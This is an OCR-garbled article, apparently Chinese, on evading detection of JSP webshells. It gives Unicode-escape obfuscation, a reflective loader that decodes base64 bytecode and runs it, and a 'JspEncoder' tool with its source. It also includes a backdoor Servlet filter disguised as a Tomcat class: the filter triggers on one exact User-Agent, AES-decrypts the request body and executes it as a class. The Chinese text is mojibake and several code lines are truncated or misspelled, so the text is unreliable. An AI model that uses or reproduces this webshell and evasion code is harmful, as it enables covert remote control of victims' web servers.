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ALy ik

ToiEH FEUnicodefi# iy, M 2R UnicodeZg B {Z4E\uuu,\uu,\u, 285 E UnicodeZs
£5 \uuu0079 y \uu006¢ | \u0074 t

\uuu0079 = \uu0079 =\u0079 = y FtEH# \uuuFuu ZE—E# K \u BT
Unicodefi#h5(—Ex —EZpifi#hs)

REAEENT

<%try {
ClassLoader czoader =
Thread.currentThread().getContextClassLoader();
StringczName= "Scrobicular";
StringclzBytecodeBase64Str= "xxxxx";
byte[]bytecode=null;
try{
Classbase64Clz=czoader.loadClass("java.util.Base64");
ClassdecoderClz=czoader.loadClass("java.util.Base64$Decoder");

Objectdecoder=base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode=(byte[])
decoderClz.getMethod("decode",String.class).invoke(decoder,
clzBytecodeBase64Str);
} catch(ClassNotFoundException e){
Class datatypeConverterClz
=czoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[])
datatypeConverterClz.getMethod("parseBase64Binary",
String.cass).invoke(datatypeConverterClz, czBytecodeBase64Str);

}
java.lang.reflect.MethoddefineClzMethod

=clzoader.loadClass("java.lang.ClassLoader").getDecaredMethod("define

defineClzMethod.setAccessible(true);

Class clz =(Class) defineClzMethod.invoke(clzoader, clzName,
bytecode, 0,bytecode.length);

cz.newInstance();
} catch (Exceptione) {}%>

B I githubi¥ Z&"base64Clz" BEIXMNRE
https://github.com/TimelineSec/ATTCK-Tools-
library/tree/master/JspEncoder

EDEEWRE
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https://github.com/TimelineSec/ATTCK-Tools-library/tree/master/JspEncoder

JspXfFUnicodefi#is : java -jar JspEncoder.jar UniDe srcFile desFile
JspXfFUnicodeZ®fiL : java -jar JspEncoder.jar UniEn srcFile desFile
JISpxXILHEHEM1fiZRY : java -jar JspEncoder.jar HtmlDe srcFile desFile
JspxAEHEM14RES : java -jar JspEncoder.jar HtmlEn srcFile desFile
JSpXILECDATAf#RY : java -jar JspEncoder.jar CdataDe srcFile desFile
JSpxI4ECDATAYRHEL : java -jar JspEncoder.jar CdataEn srcFile desFile

Base64 it hiclass {4 : java -jar JspEncoder.jar ClassOut srcFile
desFile

class {4t fBase643 4 : java -jar JspEncoder.jar ClassIn srcFile
desFile

S IRACRLAN R, A AN KARAEERE FOAFAE S, B BE A AL 75
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import java.io.*;

public class encoderdsp {
public encoderJsp(String srcFile, String desFile) throws

IOExcept
N
EQiNE

Integer.

Integer.

== 0)){

Integer.

ion {

FileInputStream fis

= new FileInputStream(srcFile);

InputStreamReader isr = new InputStreamReader(fis);

BufferedReader br

String
String

line = ;
text = "";

new BufferedReader (isr);

while ((line = br.readLine())'= null){
text += line;

}

String subString = text.substring(2, text.length()-2);
char[] charArray = subString.toCharArray();

String result = "<%",;

for (int i=0;i<charArray.length;i++){

if (i==0 || 1i%8

== 0){

String firstHex =
toHexString(charArray[i]);
if (firstHex.length()==2){

firstHex = "00" + firstHex;

result = result + "\\uu" + firstHex;

}

Yelse if ((i%8 != 0) && (i%9 == 0)){
String nineHex =
toHexString(charArray[i]);
if (nineHex.length() == 2) {
nineHex = "0O0" + nineHex;
result = result + "\\uuu" + nineHex;

Yelse if ((i !'= 0) && (i%8 != 0) && (i%9 != 0) && (i%55

}

result

} else{

}

result

= result + charArray[i];

String elseHex =
toHexString(charArray[i]);
if (elseHex.length() == 2) {

elseHex = "0O0" + elseHex;

result = result + "\\u" + elseHex;

= result + "%>";

FileWriter writer

writer
writer
writer
writer

write("");

= new FileWriter(desFile);

.write(result);

.flush();
.close();
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System.out.println("[!]3X4mieak , oMEE" + desFile);
}

decoderJsp fi#RL R ARG

<%try {
ClassLoader clzLoader =
Thread.currentThread().getContextClassLoader();
String clzName = "Scrobicular";
String clzBytecodeBase64Str =
"yv66VgAAADIBHWCACACAJAgAMACAjWYAFWCACYYBDggAVOEACVPLTTELL JAUMAEADWNL
byte[] bytecode = null;
try {
Class base64Clz = clzLoader.loadClass("java.util.Base64");
Class decoderClz =
clzlLoader.loadClass("java.util.Base64$Decoder");
Object decoder =
base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode",
String.class).invoke(decoder, clzBytecodeBase64Str); } catch
(ClassNotFoundException e) {
Class datatypeConverterClz =
clzLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[])
datatypeConverterClz.getMethod("parseBase64Binary",
String.class).invoke(datatypeConverterClz, clzBytecodeBase64Str);
}
java.lang.reflect.Method defineClzMethod =
clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defin
String.class, byte[].class, int.class, int.class);
defineClzMethod.setAccessible(true);
Class clz = (Class) defineClzMethod.invoke(clzLoader, clzName,
bytecode, 0, bytecode.length); clz.newInstance();
} catch (Exception e) {}%>

1. I8 REFMF NI TclzBytecodeBaseb4 Str, ik 1 FHE kS
clzBytecodeBase64Stril =N R, FclzBytecodeBase64 Stri 42 BV i
FclassOutAf R4 B0 =], 1 7] Fpython A T (R EAEinux THUT, B4
HRAEHT)

2. ¥#k13Hclass AhexdRiB s E R RIMZKM5 FEIERIIE R B HAR
Z 7~ 2 JBIE), BIXAGoogle Search "java ZKM15" ZIHARR =

3. WHIRNFERIBBFENIA, Zid 25 (https:/github.com/java-
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package org.apache.catalina.filters;

import java.lang.reflect.*;
import javax.servlet.http.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.security.*;
import javax.servlet.*;
import java.io.*;

public class MelebioseFilter implements Filter
{

public static int a;

public static int b;

private Class b(final Object[] array) {
final byte[] array2 = (byte[])array[0];
try {
final ClassLoader classLoader =
this.getClass().getClassLoader();
final Method declaredMethod =
classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("def
String.class, byte[].class, Integer.TYPE, Integer.TYPE);
declaredMethod.setAccessible(true);
return (Class)declaredMethod.invoke(classLoader, null,
array2, 0, array2.length);
}
catch (Throwable t) {
throw new RuntimeException(t);

private byte[] a(final Object[] array) {
final String s = (String)array[0];
try {
final ClassLoader classLoader =
this.getClass().getClassLoader();
byte[] array2;
try {
final Class<?> loadClass =
classLoader.loadClass("java.util.Base64");
array2 =
(byte[])classLoader.loadClass("java.util.Base64$Decoder").getMethod("
String.class).invoke(loadClass.getMethod("getDecoder", (Class<?>
[])new Class[0]).invoke(loadClass, new Object[@]), s);
}
catch (ClassNotFoundException ex) {
final Class<?> loadClass2 =
classLoader.loadClass("javax.xml.bind.DatatypeConverter");
array2 =
(byte[])loadClass2.getMethod("parseBase64Binary",
String.class).invoke(loadClass2, s);
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}

return array2;
}
catch (Throwable t) {
throw new RuntimeException(t);

public void init(final FilterConfig filterConfig) throws
ServletException {

}

public void doFilter(final ServletRequest servletRequest, final
ServletResponse servletResponse, final FilterChain filterChain)
throws IOException, ServletException {
final int b = MelebioseFilter.b;
final HttpServletRequest httpServletRequest =
(HttpServletRequest)servletRequest;
final int n = b;
final HttpServletResponse httpServletResponse =
(HttpServletResponse)servletResponse;
if (httpServletRequest.getHeader("User-Agent") != null &&
httpServletRequest.getHeader ("User-Agent").equals('"Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/531.26 (KHTML, like Gecko)
Chrome/86.0.4240.138 Safari/531.26")) {
final ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream();
Label_0312: {
try {
if
(httpServletRequest.getSession().getAttribute("u") == null) {

httpServletRequest.getSession().setAttribute("u",
(Object)"7b35dabef09e402b");
}
final Cipher instance =
Cipher.getInstance("AES");
instance.init(2, new
SecretKeySpec(((String)httpServletRequest.getSession().getAttribute("
"AES"));
final ServletInputStream inputStream =
httpServletRequest.getInputStream();
final byte[] array = new byte[1024];
int read;
while ((read = inputStream.read(array)) != -1) {
byteArrayOutputStream.write(array, 0, read);
if (n = 0) {
break Label_0312;
}
if (n 1= 0) {
break;
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}

this.b(new Object[] { instance.doFinal(this.a(new
Object[] { new String(byteArrayOutputStream.toByteArray(),

})) }).newInstance().equals(new Object[] {
httpServletRequest.getSession(), httpServletResponse });

}
catch (Throwable t) {

filterChain.doFilter(servletRequest,

servletResponse);

}

}
finally {
byteArrayOutputStream.close();
}
}
if (n == 0) {
return;
}

}

filterChain.doFilter(servletRequest, servletResponse);

}

public void destroy() {
b
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"UTF-8")
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